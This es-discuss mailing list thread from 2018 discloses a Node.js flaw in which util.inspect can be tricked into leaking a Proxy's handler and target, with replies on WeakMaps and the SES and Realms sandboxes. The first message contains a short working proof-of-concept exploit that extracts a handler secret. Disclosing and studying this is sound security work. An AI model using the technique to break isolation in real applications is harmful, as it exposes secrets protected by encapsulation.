Proxy target/handler access leak in Node

Mark Miller erights at gmail.com
Mon Sep 17 00:06:36 UTC 2018


This is indeed quite scary. I have never used of explored the Node `util`
API. What is going on here? Can you explain?

The Realms shim and SES (which build on the Realms shim) create an
environment in which only those globals defined by EcmaScript, not by the
host, are present by default.
https://github.com/Agoric/SES/tree/master/demo
https://rawgit.com/Agoric/SES/master/demo/
Does that mean this attack is impossible from code loaded into a new realm
as made by the shim or SES?



On Sun, Sep 16, 2018 at 12:10 PM Mike Samuel <mikesamuel at gmail.com> wrote:

> Nicely done!
>
> One more reason to prefer WeakMaps to properties when relating objects and
> secrets.
>
>
>
> On Sun, Sep 16, 2018 at 2:59 PM Darien Valentine <valentinium at gmail.com>
> wrote:
>
>> A few weeks ago I’d commented on an open Node github issue regarding
>> Proxies and inspection. While the bulk of the comment concerns an opinion
>> that proxies should not be treated as special case, I included an example
>> of a mechanism by which the current implementation allows outside code to
>> access the target and handler objects of a proxy that it does not own.
>>
>> On reflection I realized this specific issue might be worth drawing more
>> attention to.
>>
>> ```js
>> const util = require('util');
>>
>> const victim = new Proxy({}, {
>>   SECRET: 'Nothing outside can access this'
>> });
>>
>> let secret;
>>
>> const invariantViolator = {
>>   [util.inspect.custom](depth, options) {
>>     const { stylize } = options;
>>
>>     options.showProxy = true;
>>
>>     options.stylize = (value, color) => {
>>       secret = value;
>>       options.stylize = stylize;
>>       return stylize(value, color);
>>     };
>>
>>     return victim;
>>   }
>> };
>>
>> util.inspect(invariantViolator);
>>
>> console.log(secret); // 'Nothing outside can access this'
>> ```
>>
>> The implication is that even if running Node with no C++ addons, it is
>> presently possible for proxies to be violated using just the standard lib,
>> which may be significant from a security perspective. I’m not sure if
>> that’s the case in practice, but just in case, I figured I should try to
>> get eyes on it.
>>
>> Note that even if this particular hole is patched, the "analog hole" (so
>> to speak) of just analyzing the string output remains.
>> _______________________________________________
>> es-discuss mailing list
>> es-discuss at mozilla.org
>> https://mail.mozilla.org/listinfo/es-discuss
>>
> _______________________________________________
> es-discuss mailing list
> es-discuss at mozilla.org
> https://mail.mozilla.org/listinfo/es-discuss
>


-- 
  Cheers,
  --MarkM
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.mozilla.org/pipermail/es-discuss/attachments/20180916/f2dd2e2f/attachment-0001.html>


More information about the es-discuss mailing list